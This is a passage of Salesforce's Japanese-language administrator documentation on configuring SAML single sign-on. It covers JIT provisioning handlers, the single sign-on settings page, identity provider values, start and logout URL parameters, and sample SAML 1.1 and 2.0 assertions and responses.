4. [他のアカウントでハンドラを実行] 項目で、Apex クラスを実行するユーザを選択します。このユーザは
「ユーザの管理」権限を持っている必要があります。

5. ジャストインタイムプロビジョニングでは、ユーザタイプの統合 ID が必要です。[SAML ID 種別]で、[ア
サーションには、ユーザオブジェクトの統合 ID が含まれます]を選択します。ID プロバイダがSalesforceユー
ザ名を以前使用していた場合は、統合 ID を使用する必要があることを ID プロバイダに通知してください。
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6. [保存] をクリックします。

SAML JIT ハンドラの編集
1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex クラス] を選択します。
2. 生成された Apex SAML JIT ハンドラを編集して SAML と Salesforce の項目を対応付けます。また、生成された

コードを変更して次のサポート対象を追加できます。
• カスタム項目
• プロファイルあいまい一致
• ロールあいまい一致
• メールによる取引先責任者ルックアップ
• 取引先番号による取引先ルックアップ
• コミュニティへの標準ユーザのプロビジョニング
• コミュニティへの標準ユーザのログイン
• ポータルジャストインタイムプロビジョニングでのデフォルトプロファイル ID の使用
• ポータルジャストインタイムプロビジョニングでのデフォルトポータルロールの使用
• ポータルジャストインタイムプロビジョニング用のユーザ名生成
たとえば、生成されたハンドラコードでカスタム項目をサポートするには、生成されたコード内にある
「Handle custom fields here」を見つけます。このコードコメントの後にカスタム項目コードを挿入します。詳
細と例は、「SamlJitHandler インターフェース」を参照してください。

メモ: 取引先責任者オブジェクトまたは取引先オブジェクトの JIT 属性を同じアサーションでユーザオプ
ションと一緒に ID プロバイダから送信した場合、生成されたハンドラで更新を実行できない可能性があ
ります。取引先責任者項目または取引先項目と同時に更新できないユーザ項目のリストについては、「DML

操作で同時に使用できない sObject」を参照してください。

シングルサインオン接続のテスト
SAML を設定し、設定を保存した後、ID プロバイダのアプリケーションにアクセスして SAML 設定をテストしま
す。ID プロバイダがユーザのブラウザに指示して、SAML アサーションを含むフォームをSalesforceログインペー
ジに送信します。各アサーションを確認し、確認に成功するとシングルサインオンが許可されます。
SAML を設定して保存した後にシングルサインオンを使用してサインオンできない場合は、[SAML アサーション
検証] を使用します。最初に ID プロバイダから SAML アサーションを取得する必要が生じる場合があります。
SAML を使用したログインに問題が発生した場合、SAML ログイン履歴を確認して、ログインできない理由を判
断し、その情報を ID プロバイダと共有することができます。
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SAML バージョン 2.0 を使用している場合、SAML 設定の完了後に、[OAuth 2.0 Token Endpoint] 項目が入力されます。
トークンは、OAuth 2.0 用の Web シングルサインオン認証フローで使用します。

関連トピック:

SAML

シングルサインオン実装のベストプラクティス
シングルサインオン用の SAML 設定の検証
証明書と鍵
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シングルサインオン設定の表示と編集

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

SAML を使用するように Salesforce 組織を設定したら、SAML 設定を [シングルサイ
ンオン設定] ページから管理できます。
[設定] から、[クイック検索] ボックスに「シングルサインオン設定」と入力し、
[シングルサインオン設定] を選択します。
SAML 設定が完了すると、生成された URL および OAuth 2.0 トークンエンドポイン
トが [シングルサインオン設定] ページに表示されます。

説明項目

SAML 2.0 で有効。Web SSO OAuth アサーションフローのログ
インに関連付けられている URL。この URL が表示されるの
は、[SAML のユーザ ID 種別] に [アサーションには、
ユーザの Salesforce ユーザ名が含まれます]、[SAML のユー
ザ ID の場所] に [ユーザ ID は、Subject ステートメントの
Name Identifier 要素にあります] を選択して SAML を設定した
場合です。

Salesforce ログ
イン URL

SAML 2.0 で有効。ユーザがログオフ後に移動する Salesforce

ログアウト URL。この URL が表示されるのは、[ID プロバ
イダのログアウト URL] に値を指定しなかった場合です。

Salesforce ログ
アウト URL

SAML 2.0 で有効。Web SSO OAuth アサーションフローで
Salesforceを ID プロバイダとして有効にしたときに使用する
ACS URL。

OAuth 2.0
Token Endpoint

このページから、次の操作を実行できます。
• [編集] をクリックして、既存の SAML 設定を変更する。
• [SAML アサーション検証] をクリックして、ID プロバイダが提供する SAML ア

サーションを使用する組織の SAML 設定を検証する。
• [メタデータのダウンロード]をクリックし、ID プロバイダに送信する SAML 設

定の XML ファイルをダウンロードします。これによって ID プロバイダはこれ
らを設定にアップロードし、Salesforce 組織のコミュニティに接続できるよう
になります。ID プロバイダでメタデータがサポートされ、SAML 2.0 を使用し
ている場合のみに有効です。

関連トピック:

SAML

1055

シングルサインオンSalesforce 組織の設定および管理



ID プロバイダの値

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

Salesforce for SAML を設定する前に、ID プロバイダからの情報を受け取る必要があ
ります。この情報は、シングルサインオンページで使用します。
ID プロバイダには、次の情報が有用です。

説明項目

ID プロバイダが使用する SAML のバージョンを指定します。
Salesforce では、現在バージョン 1.1 および 2.0 をサポートし
ています。さまざまなバージョンの SAML の指定は、以下
にリンクしています。

SAML のバージョ
ン

• SAML 1.1

• SAML 2.0

エンティティ ID: SAML ID プロバイダを一意に識別する URL。
Salesforceに送られてくる SAML アサーションは、SAML アサー
ションの <saml:Issuer>属性でこの値に完全に一致する
必要があります。

発行者

Salesforce によって生成された SAML 要求の発行者、または
SAML 着信レスポンスの予測される利用者です。ドメイン
をリリースしていない場合、この値は常に
https://saml.salesforce.comになります。ドメイン
をリリースしている場合、Salesforceではカスタムドメイン
名の使用をお勧めします。この値は、[シングルサインオ
ン設定] ページにあります。[設定] から、[クイック検索]

ボックスに「シングルサインオン設定」と入力し、[シング
ルサインオン設定] を選択します。

エンティティ ID

ID プロバイダが発行した認証証明書。ID プロバイダの証
明書

サービスプロバイダが開始した SAML ログインで Salesforce

がそのサービスプロバイダである場合、SAML 要求上にプ
ロバイダの識別を目的として署名を生成するために使用さ
れる証明書 ([設定] の [証明書と鍵の管理] ページに保存)。
証明書が [設定] の [証明書と鍵の管理] ページに保存されて
いない場合、Salesforceはデフォルトでグローバルプロキシ
証明書を使用します。保存された署名付き証明書を使用す

Request
Signing
Certificate

ると、グローバルプロキシ証明書を使用した場合よりも、
証明書の有効期限などのイベントをより詳細に制御できる
ようになります。

要求暗号化のハッシュアルゴリズム (RSA-SHA1 または
RSA-SHA256)。

Request
Signature
Method
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説明項目

Salesforce ユーザを識別する文字列が入っている SAML アサーション内の要素。値
は次のとおりです。
Assertion contains User’s Salesforce username

このオプションは、ID プロバイダが SAML アサーションで Salesforceユーザ名を
渡します。

SAML ID 種別

アサーションには、ユーザオブジェクトの統合 ID が含まれます
たとえば、ID プロバイダが従業員 ID など、SAML アサーションでユーザを識別
する外部ユーザ ID を渡す場合にこのオプションを使用します。

アサーションには、ユーザオブジェクトのユーザ ID が含まれます
SAML アサーションでユーザを識別するために ID プロバイダが内部ユーザ ID

(Salesforce 組織のユーザ ID など) を渡す場合、このオプションを使用します。

アサーション内のどこでユーザを識別するかを指定します。値は次のとおりで
す。
ID は、Subject ステートメントの NameIdentifier 要素にあります

Salesforceの [ユーザ名] または FederationIdentifier は、アサーションの
<Subject> ステートメントに入っています。

SAML ID の場所

ID は Attribute 要素にあります
Salesforceの [ユーザ名] または FederationIdentifier は、アサーションの
<Attribute> の中の <AttributeValue> で指定されています。

[ID は Attribute 要素にあります]を選択した場合は、[ユーザ ID] が含まれて
いる <Attribute> に指定されている AttributeName の値を入力します。

属性の名前

SAML のバージョンに SAML 1.1 を指定して、[ID は Attribute 要素にあります]

を選択した場合は、<Attribute> に指定されている AttributeNamespace の
値を入力します。

属性の URI

SAML のバージョンに SAML 2.0 を指定して、[ID は Attribute 要素にあります]

を選択した場合は、nameid-formatの値を指定します。値には、unspecified、
名前 ID 形式

emailAddress、persistentがあります。すべての規定値は、SAML 2.0 のアサー
ションとプロトコルの仕様書にある「Name Identifier Format Identifiers」の項に記載さ
れています。

[私のドメイン] を使用している場合は、ID プロバイダが SAML メッセージで要求す
るバインドメカニズムを選択します。値は次のとおりです。
HTTP ポスト

HTTP POST バインドは、base64url エンコードされた HTML フォームを使用して
SAML メッセージを送信します。

サービスプロバイダの起動
要求バインド

HTTP リダイレクト
HTTP リダイレクトバインドは、URL パラメータ内で base64url エンコードおよび
URL エンコードされた SAML メッセージを送信します。
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説明項目

選択された要求バインドに関係なく、SAML レスポンスでは HTTP POST バインドが
常に使用されます。

SAML 2.0 でのみ有効: Salesforce がログインシーケンスを開始する SAML 要求を送信
する URL です。
ドメインをリリースしており、この項目に値を指定している場合、ログイン要求
は通常、この項目で指定されるアドレスに送信されます。ただし、この値をス

ID プロバイダのログイン
URL

キップする必要がある場合は (ID プロバイダが停止している場合など)、ログイン
ページのクエリ文字列に login パラメータを追加します。たとえば、
http://mydomain.my.salesforce.com?login です。

メモ: この項目は Developer Edition の本番組織および Sandbox 組織ではデフォ
ルトで表示され、本番組織では、[私のドメイン] が有効になっている場合
に限り表示されます。この項目は、トライアル組織またはトライアル組織
にリンクされている Sandbox では表示されません。

SAML 2.0 でのみ有効: ユーザが Salesforceで [ログアウト]リンクをクリックしたとき
に移動先となる URL。デフォルトは http://www.salesforce.com です。

ID プロバイダのログアウ
ト URL

メモ: この項目は Developer Edition の本番組織および Sandbox 組織ではデフォ
ルトで表示され、本番組織では、[私のドメイン] が有効になっている場合
に限り表示されます。この項目は、トライアル組織またはトライアル組織
にリンクされている Sandbox では表示されません。

Web ブラウザのシングルサインオンフローのログインに関連付けられている URL。Salesforce ログイン
URL

SAML 2.0 でのみ有効: Web シングルサインオン OAuth アサーションフローで ID プロ
バイダとして Salesforce を有効化する場合に、API で使用される ACS URL。

OAuth 2.0 Token
Endpoint

SAML ログイン時にエラーが発生した場合にユーザが移動する先のページの URL。
この URL は、公開サイトのVisualforceページなど、公開されているページである必
要があります。URL は相対または絶対のどちらでも使用できます。

カスタムエラー URL

開始、ログイン、ログアウトの URL 値
シングルサインオンで使用する情報のほか、ID プロバイダは開始ページ、ログインページ、ログアウトページ
も設定します。また、これらのページは、シングルサインオンを設定する場合に自分で指定できます。
これらのページを設定する場合は、ID プロバイダには、次の情報が有用です。
• SAML の指定は、HTTPS POST を経由して SAML アサーションを渡すために使用する HTML 形式をサポートして

います。
• SAML 1.1 では、SAML ID プロバイダは TARGET 項目に名前-値のペアを埋め込むことができ、URL 符号化され

たパラメータを含む特別な形式の URL を先頭に追加した情報を Salesforce に渡すことができます。
• [対象] 項目を含める SAML 1.1 の URL は、https://saml.salesforce.com/? となります。
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• SAML 2.0 では、[対象] 項目の代わりに SAML アサーションで <AttributeStatement> を使用して、追加情
報を指定します。

• Salesforce では、次のパラメータをサポートしています。

メモ:  SAML 1.1 では、これらのパラメータは URL 符号化する必要があります。このため URL は独自のパ
ラメータを含む値として渡され、正しく処理されます。SAML 2.0 では、これらのパラメータは
<AttributeStatement> に含まれます。

– ssoStartPage は、SAML でログインを試行したときに自動で表示されるページです。セッションが有
効でない場合に、Salesforce の保護されたリソースを要求すると、ページに自動的に移動します。
ssoStartPage は、SAML の ID プロバイダのログインページにする必要があります。

– startURL は、サインオンが正常に完了した場合に、ユーザが移動される URL です。この URL は、
https://yourInstance.salesforce.com/001/o のような絶対 URL、または /001/o のような相対
URL にすることができます。このパラメータは、SAML 1.1 でのみ使用されます。SAML 2.0 では、開始 URL

は認証される前にユーザがアクセスを試みたページです。
– logoutURLは、Salesforceで [ログアウト]リンクをクリックした場合に、ユーザが移動される URL です。

デフォルトは http://www.salesforce.com です。

次の SAML 1.1 のサンプル [対象] 項目には、正しく符号化されたパラメータが含まれています。カスタマイズ
された開始ページ、クエリ文字列のパラメータ値として埋め込まれた開始 URL およびログアウト URL を渡しま
す。
https://saml.salesforce.com/?ssoStartPage=https%3A%2F
%2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com

次の SAML 2.0 の <AttributeStatement> の例は、ssoStartPage と logoutURL の両方を含みます。
<saml:AttributeStatement>

<saml:Attribute Name="ssoStartPage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">

http://www.customer.org
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="logoutURL"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">

https://www.salesforce.com
</saml:AttributeValue>

</saml:Attribute>
</saml:AttributeStatement>

関連トピック:

SAML
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SAML の開始ページ、エラーページ、ログインページ、およびログアウトページのカスタマ
イズ

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

SAML 1.1 または 2.0 を使用するシングルサインオンユーザのための開始ページ、
エラーページ、ログインページ、ログアウトページをカスタマイズできます。
設定の一環として、次の事項を決定します。
• ID プロバイダが SAML 1.1 を使用する場合に、シングルサインオンが正常に完

了したときのユーザの移動先となる URL (開始ページ)。この URL は、
https://yourInstance.salesforce.com/001/oのような絶対 URL、また
は /001/o のような相対 URL にすることができます。この URL は SAML 認証要
求を受け入れるエンドポイントである必要があります。
SAML 2.0 では、開始ページは認証される前にユーザがアクセスを試みたペー
ジです。SAML 2.0 開始ページは Sp-init シングルサインオンをサポートしなけ
ればなりません。
SAML 2.0 を使用している場合、RelayState パラメータを使用して正常なロ
グイン後にユーザをリダイレクトする場所を制御することもできます。

• Salesforceがログインシーケンスを開始する SAML 要求を送信するシングルサイ
ンオン開始ページです。
シングルサインオン開始ページを指定する場合は、ログアウトページも指定
することをお勧めします。ログアウトページを指定するとき、ユーザがログ
アウトをクリックするとき、またはユーザセッションの有効期限が切れた場
合に、ユーザはそのページにリダイレクトされます。ログアウトページを指
定しない場合、ユーザはSalesforceの通常のログインページにリダイレクトさ
れます。

• ユーザが Salesforceの [ログアウト] リンクをクリックしたときの移動先となる
URL (ログアウトページ)。[私のドメイン] が有効な場合を除き、デフォルトは
https://login.salesforce.comです。[私のドメイン] が有効な場合のデ
フォルトは https://customdomain.my.salesforce.com です。

SAML 2.0 では、これらの値は、シングルサインオン設定時、またはログイン URL

か SAML アサーションの ID プロバイダを使用して設定できます。優先順位は次の
とおりです。
1. セッション Cookie: Salesforce にすでにログインしており、Cookie がまだ存在す

る場合、セッション Cookie で指定されるログインページおよびログアウト
ページが使用されます。

2. ID プロバイダから渡される値。
3. シングルサインオン設定ページの値。
シングルサインオン設定にこれらの値を追加しない場合、ID プロバイダとこれらの値を共有します。ID プロバ
イダは、ログイン URL またはアサーションのいずれかでこれらの値を使用する必要があります。
SAML ログイン時にエラーが発生した場合にユーザをカスタムエラーページに移動するかどうかを決定するこ
ともできます。カスタムエラーページは、公開サイトの Visualforce ページなど、公開されていてアクセス可能
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なページである必要があります。URL は相対または絶対のどちらでも使用できます。SAML の設定時にはこの値
を使用します。

関連トピック:

SAML

サンプル SAML アサーション

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

統合認証を使用可能なエ
ディション: すべてのエ
ディション

代理認証を使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

認証プロバイダを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

設定を参照する
• 「設定・定義を参照す

る」

設定を編集する
• 「アプリケーションの

カスタマイズ」

および

「すべてのデータの編
集」

サンプル SAML アサーションを ID プロバイダと共有すると、Salesforceで正常なシ
ングルサインオンのために必要な情報の形式を確認できます。アサーションは、
RSA および SHA-1 または SHA-256 のいずれかを使用して、XML 署名仕様に従って署
名する必要がある。
SAML 1.1 および SAML 2.0 の一般的なシングルサインオンの例に加え、特定の機能
については次の例を使用してください。
• ポータルのアサーション
• サイトのアサーション
• 代理認証の SOAP メッセージ
• ジャストインタイムプロビジョニングのアサーション
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SAML ユーザ ID の種別が Salesforce ユーザ名、SAML ユーザ ID の場所が <Subject> 要素の中の
<NameIdentifier> 要素の場合

SAML 1.1:

<Subject>
<NameIdentifier>user101@salesforce.com</NameIdentifier>

</Subject>

SAML 2.0:

<saml:Subject>
<saml:NameID

Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z"

Recipient="http://localhost:9000"/>
</saml:SubjectConfirmation>

</saml:Subject>

SAML ユーザ ID の種別が Salesforce ユーザ名、SAML ユーザ ID の場所が <Attribute> 要素の場合
SAML 1.1:

<AttributeStatement>
<Subject>
<NameIdentifier>this value doesn't matter</NameIdentifier>

<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>

</SubjectConfirmation>
</Subject>

<Attribute AttributeName="MySfdcName" AttributeNamespace="MySfdcURI">
<AttributeValue>user101@salesforce.com</AttributeValue>

</Attribute>
</AttributeStatement>

SAML 2.0:

<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME"

NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101@salesforce.com

</saml:AttributeValue>
</saml:Attribute>

</saml:AttributeStatement>

SAML ユーザ ID の種別が Salesforceユーザオブジェクトの FederationIdentifier 項目、SAML ユーザ ID の場
所が <Subject> 要素の中の <NameIdentifier> 要素の場合

SAML 1.1:

<AttributeStatement>
<saml:Subject>

<saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.0:assertion"
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NameQualifier="www.saml_assertions.com">
MyName

</saml:NameIdentifier>
</saml:Subject>

</AttributeStatement>

SAML 2.0:

<saml:Subject>
<saml:NameID

Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">

<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:48:25.730Z"
Recipient="http://localhost:9000/"/>

</saml:SubjectConfirmation>
</saml:Subject>

メモ: 名前 ID は、メールアドレスや数字 ID 文字列など、任意の文字列でかまいません。

SAML ユーザ ID の種別が Salesforceユーザオブジェクトの FederationIdentifier 項目、SAML ユーザ ID の場
所が <Attribute> 要素の場合

SAML 1.1:

<AttributeStatement>
<Subject>
<NameIdentifier>who cares</NameIdentifier>

<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>

</SubjectConfirmation>
</Subject>

<Attribute AttributeName="MyName" AttributeNamespace="MyURI">
<AttributeValue>user101</AttributeValue>

</Attribute>
</AttributeStatement>

SAML 2.0:

<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_ATTR"

NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101

</saml:AttributeValue>
</saml:Attribute>

</saml:AttributeStatement>

SAML のユーザ ID 種別が Salesforce ユーザ名、SAML のユーザ ID の場所が <Subject> 要素の中の
<NameIdentifier> 要素の場合

SAML 2.0 の完全な SAML レスポンスを次に示します。
<samlp:Response ID="_257f9d9e9fa14962c0803903a6ccad931245264310738"

IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
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https://www.salesforce.com
</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>

</samlp:Status>

<saml:Assertion ID="_3c39bc0fe7b13769cab2f6f45eba801b1245264310738"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">

https://www.salesforce.com
</saml:Issuer>

<saml:Signature>
<saml:SignedInfo>

<saml:CanonicalizationMethod
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>

<saml:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

<saml:Reference URI="#_3c39bc0fe7b13769cab2f6f45eba801b1245264310738">
<saml:Transforms>

<saml:Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>

<saml:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<ec:InclusiveNamespaces PrefixList="ds saml xs"/>

</saml:Transform>
</saml:Transforms>
<saml:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<saml:DigestValue>vzR9Hfp8d16576tEDeq/zhpmLoo=
</saml:DigestValue>

</saml:Reference>
</saml:SignedInfo>
<saml:SignatureValue>

AzID5hhJeJlG2llUDvZswNUrlrPtR7S37QYH2W+Un1n8c6kTC
Xr/lihEKPcA2PZt86eBntFBVDWTRlh/W3yUgGOqQBJMFOVbhK
M/CbLHbBUVT5TcxIqvsNvIFdjIGNkf1W0SBqRKZOJ6tzxCcLo
9dXqAyAUkqDpX5+AyltwrdCPNmncUM4dtRPjI05CL1rRaGeyX
3kkqOL8p0vjm0fazU5tCAJLbYuYgU1LivPSahWNcpvRSlCI4e
Pn2oiVDyrcc4et12inPMTc2lGIWWWWJyHOPSiXRSkEAIwQVjf
Qm5cpli44Pv8FCrdGWpEE0yXsPBvDkM9jIzwCYGG2fKaLBag==

</saml:SignatureValue>
<saml:KeyInfo>

<saml:X509Data>
<saml:X509Certificate>

MIIEATCCAumgAwIBAgIBBTANBgkqhkiG9w0BAQ0FADCBgzELM
[Certificate truncated for readability...]

</saml:X509Certificate>
</saml:X509Data>

</saml:KeyInfo>
</saml:Signature>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">

saml01@salesforce.com
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</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:50:10.738Z"

Recipient="https://login.salesforce.com"/>
</saml:SubjectConfirmation>

</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:45:10.738Z"
NotOnOrAfter="2009-06-17T18:50:10.738Z">

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>

</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2009-06-17T18:45:10.738Z">
<saml:AuthnContext>

<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified
</saml:AuthnContextClassRef>

</saml:AuthnContext>
</saml:AuthnStatement>

<saml:AttributeStatement>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7L5
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="ssostartpage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">

<saml:AttributeValue xsi:type="xs:anyType">
http://www.salesforce.com/security/saml/saml20-gen.jsp

</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logouturl"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">

<saml:AttributeValue xsi:type="xs:string">
http://www.salesforce.com/security/del_auth/SsoLogoutPage.html

</saml:AttributeValue>
</saml:Attribute>

</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
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ポータルのサンプル SAML アサーション
SAML アサーション文の portal_id および organization_id 属性を次に示します。
<saml:AttributeStatement>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7P5</saml:AttributeValue>

</saml:Attribute>
</saml:AttributeStatement>

次は、ポータルのシングルサインオンに使用できる完全な SAML アサーションステートメントです。組織は、
主体ではなく属性に含まれている統合サインオンを使用しています (アサーションの太字テキストで示される
<saml:AttributeStatement> を参照)。
<samlp:Response ID="_f97faa927f54ab2c1fef230eee27cba21245264205456"

IssueInstant="2009-06-17T18:43:25.456Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">

https://www.salesforce.com</saml:Issuer>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>

</samlp:Status>

<saml:Assertion ID="_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456"
IssueInstant="2009-06-17T18:45:10.738Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">

https://www.salesforce.com
</saml:Issuer>

<saml:Signature>
<saml:SignedInfo>

<saml:CanonicalizationMethod
Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>

<saml:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

<saml:Reference URI="#_f690da2480a8df7fcc1cbee5dc67dbbb1245264205456">
<saml:Transforms>

<saml:Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>

<saml:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<ec:InclusiveNamespaces PrefixList="ds saml xs"/>

</saml:Transform>
</saml:Transforms>
<saml:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<saml:DigestValue>vzR9Hfp8d16576tEDeq/zhpmLoo=
</saml:DigestValue>

</saml:Reference>
</saml:SignedInfo>
<saml:SignatureValue>

AzID5hhJeJlG2llUDvZswNUrlrPtR7S37QYH2W+Un1n8c6kTC
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Xr/lihEKPcA2PZt86eBntFBVDWTRlh/W3yUgGOqQBJMFOVbhK
M/CbLHbBUVT5TcxIqvsNvIFdjIGNkf1W0SBqRKZOJ6tzxCcLo
9dXqAyAUkqDpX5+AyltwrdCPNmncUM4dtRPjI05CL1rRaGeyX
3kkqOL8p0vjm0fazU5tCAJLbYuYgU1LivPSahWNcpvRSlCI4e
Pn2oiVDyrcc4et12inPMTc2lGIWWWWJyHOPSiXRSkEAIwQVjf
Qm5cpli44Pv8FCrdGWpEE0yXsPBvDkM9jIzwCYGG2fKaLBag==

</saml:SignatureValue>
<saml:KeyInfo>

<saml:X509Data>
<saml:X509Certificate>

MIIEATCCAumgAwIBAgIBBTANBgkqhkiG9w0BAQ0FADCBgzELM
Certificate truncated for readability...

</saml:X509Certificate>
</saml:X509Data>

</saml:KeyInfo>
</saml:Signature>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">null

</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2009-06-17T18:48:25.456Z"

Recipient="https://login.salesforce.com/?saml=02HKiPoin4f49GRMsOdFmhTgi
_0nR7BBAflopdnD3gtixujECWpxr9klAw"/>
</saml:SubjectConfirmation>

</saml:Subject>

<saml:Conditions NotBefore="2009-06-17T18:43:25.456Z"
NotOnOrAfter="2009-06-17T18:48:25.456Z">

<saml:AudienceRestriction>
<saml:Audience>https://saml.salesforce.com</saml:Audience>

</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2009-06-17T18:43:25.456Z">

<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified

</saml:AuthnContextClassRef>
</saml:AuthnContext>

</saml:AuthnStatement>

<saml:AttributeStatement>

<saml:Attribute FriendlyName="Friendly Name" Name="federationId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:string">saml_portal_user_federation_id
</saml:AttributeValue>
<saml:AttributeValue xsi:type="xs:string">SomeOtherValue
</saml:AttributeValue>
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</saml:Attribute>

<saml:Attribute Name="portal_id">
<saml:AttributeValue xsi:type="xs:anyType">060D00000000SHZ
</saml:AttributeValue>

</saml:Attribute>

<saml:Attribute Name="organization_id">
<saml:AttributeValue xsi:type="xs:anyType">00DD0000000F7Z5
</saml:AttributeValue>

</saml:Attribute>

